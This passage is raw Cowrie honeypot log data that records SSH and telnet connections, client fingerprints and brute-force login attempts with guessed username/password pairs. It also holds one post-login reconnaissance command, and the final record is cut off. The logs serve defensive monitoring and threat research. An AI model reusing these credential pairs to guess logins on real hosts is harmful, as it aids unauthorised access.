{"eventid":"cowrie.session.closed","duration":30.89126968383789,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:16.131813Z","src_ip":"54.38.163.60","session":"8f806443290d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37432,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c25fe4815cb","protocol":"telnet","message":"New connection: 5.189.169.71:37432 (10.17.0.5:23) [session: 9c25fe4815cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:16.559489Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":39994,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fdd2333a682","protocol":"telnet","message":"New connection: 23.254.167.244:39994 (159.203.135.109:23) [session: 1fdd2333a682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:17.939161Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35748,"dst_ip":"10.17.0.5","dst_port":22,"session":"d90793fb40b8","protocol":"ssh","message":"New connection: 176.65.139.103:35748 (10.17.0.5:22) [session: d90793fb40b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:18.313548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:18.319133Z","src_ip":"176.65.139.103","session":"d90793fb40b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:18.402450Z","src_ip":"176.65.139.103","session":"d90793fb40b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:18.806264Z","src_ip":"176.65.139.103","session":"d90793fb40b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":40108,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fa1899dfd0e","protocol":"telnet","message":"New connection: 23.254.167.244:40108 (159.203.135.109:23) [session: 4fa1899dfd0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:19.097725Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:20.097621Z","src_ip":"176.65.139.103","session":"d90793fb40b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.03456354141235,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:20.611679Z","src_ip":"23.254.167.244","session":"c59cad7d9d5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.982734441757202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:21.060970Z","src_ip":"5.189.169.71","session":"36d9d25ad883","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.7795612812042236,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:22.877142Z","src_ip":"23.254.167.244","session":"4fa1899dfd0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54338,"dst_ip":"10.17.0.5","dst_port":22,"session":"abb79b1eb36f","protocol":"ssh","message":"New connection: 176.65.139.103:54338 (10.17.0.5:22) [session: abb79b1eb36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:24.460271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:24.465380Z","src_ip":"176.65.139.103","session":"abb79b1eb36f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:24.607908Z","src_ip":"176.65.139.103","session":"abb79b1eb36f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:25.124952Z","src_ip":"176.65.139.103","session":"abb79b1eb36f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":46846,"dst_ip":"10.17.0.5","dst_port":23,"session":"8127c4b4f0be","protocol":"telnet","message":"New connection: 5.189.169.71:46846 (10.17.0.5:23) [session: 8127c4b4f0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:26.154629Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:26.228060Z","src_ip":"176.65.139.103","session":"abb79b1eb36f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50800,"dst_ip":"159.203.135.109","dst_port":23,"session":"40fff2328930","protocol":"telnet","message":"New connection: 23.254.167.244:50800 (159.203.135.109:23) [session: 40fff2328930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:26.340122Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":46852,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dc1bb9943ee","protocol":"telnet","message":"New connection: 5.189.169.71:46852 (10.17.0.5:23) [session: 8dc1bb9943ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:27.406783Z"}
{"eventid":"cowrie.session.closed","duration":30.44613218307495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:28.074085Z","src_ip":"5.189.169.71","session":"65b71420eb62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5051167011261,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:28.327919Z","src_ip":"5.189.169.71","session":"28571c40f6d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":54122,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7c07e6855c8","protocol":"telnet","message":"New connection: 23.254.167.244:54122 (159.203.135.109:23) [session: d7c07e6855c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:28.941482Z"}
{"eventid":"cowrie.session.closed","duration":36.177748680114746,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:29.457043Z","src_ip":"23.254.167.244","session":"8ffd9f73103a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":34299,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b864916b3eb","protocol":"ssh","message":"New connection: 74.87.117.149:34299 (10.17.0.5:22) [session: 6b864916b3eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:30.125549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:30.134815Z","src_ip":"74.87.117.149","session":"6b864916b3eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:30.160871Z","src_ip":"74.87.117.149","session":"6b864916b3eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql!@#","message":"login attempt [mysql/mysql!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:30.291748Z","src_ip":"74.87.117.149","session":"6b864916b3eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54366,"dst_ip":"10.17.0.5","dst_port":22,"session":"73e9181ac7ad","protocol":"ssh","message":"New connection: 176.65.139.103:54366 (10.17.0.5:22) [session: 73e9181ac7ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:30.862497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:30.867610Z","src_ip":"176.65.139.103","session":"73e9181ac7ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:30.953277Z","src_ip":"176.65.139.103","session":"73e9181ac7ad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123456","message":"login attempt [admin/admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:31.204398Z","src_ip":"176.65.139.103","session":"73e9181ac7ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:31.319148Z","src_ip":"74.87.117.149","session":"6b864916b3eb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:31.417526Z","src_ip":"176.65.139.103","session":"73e9181ac7ad","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:31.419952Z","src_ip":"176.65.139.103","session":"73e9181ac7ad","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:31.504554Z","src_ip":"176.65.139.103","session":"73e9181ac7ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:31.509755Z","src_ip":"176.65.139.103","session":"73e9181ac7ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":60100,"dst_ip":"159.203.135.109","dst_port":23,"session":"76aca5616392","protocol":"telnet","message":"New connection: 23.254.167.244:60100 (159.203.135.109:23) [session: 76aca5616392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:34.666994Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.253.18.178","src_port":46362,"dst_ip":"159.203.135.109","dst_port":23,"session":"af56c1740e7d","protocol":"telnet","message":"New connection: 103.253.18.178:46362 (159.203.135.109:23) [session: af56c1740e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:36.914671Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43940,"dst_ip":"10.17.0.5","dst_port":22,"session":"d267d5072e4a","protocol":"ssh","message":"New connection: 176.65.139.103:43940 (10.17.0.5:22) [session: d267d5072e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:36.960939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:36.965820Z","src_ip":"176.65.139.103","session":"d267d5072e4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:37.047895Z","src_ip":"176.65.139.103","session":"d267d5072e4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keycloak","password":"keycloak","message":"login attempt [keycloak/keycloak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:37.641815Z","src_ip":"176.65.139.103","session":"d267d5072e4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":44022,"dst_ip":"10.17.0.5","dst_port":23,"session":"9003ee87379a","protocol":"telnet","message":"New connection: 5.189.169.71:44022 (10.17.0.5:23) [session: 9003ee87379a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:37.826410Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:38.742176Z","src_ip":"176.65.139.103","session":"d267d5072e4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.67436695098877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:39.093423Z","src_ip":"5.189.169.71","session":"d58d52755689","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45230,"dst_ip":"10.17.0.5","dst_port":23,"session":"793dd6b7d6f2","protocol":"telnet","message":"New connection: 5.189.169.71:45230 (10.17.0.5:23) [session: 793dd6b7d6f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:39.350668Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":38642,"dst_ip":"159.203.135.109","dst_port":23,"session":"f255de2b6f1c","protocol":"telnet","message":"New connection: 23.254.167.244:38642 (159.203.135.109:23) [session: f255de2b6f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:40.307646Z"}
{"eventid":"cowrie.session.closed","duration":30.96371555328369,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:41.113306Z","src_ip":"5.189.169.71","session":"5236c24d8228","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45238,"dst_ip":"10.17.0.5","dst_port":23,"session":"746106ad4fae","protocol":"telnet","message":"New connection: 5.189.169.71:45238 (10.17.0.5:23) [session: 746106ad4fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:42.308021Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38574,"dst_ip":"10.17.0.5","dst_port":22,"session":"69175d459c57","protocol":"ssh","message":"New connection: 176.65.139.103:38574 (10.17.0.5:22) [session: 69175d459c57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:43.655757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:43.661811Z","src_ip":"176.65.139.103","session":"69175d459c57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 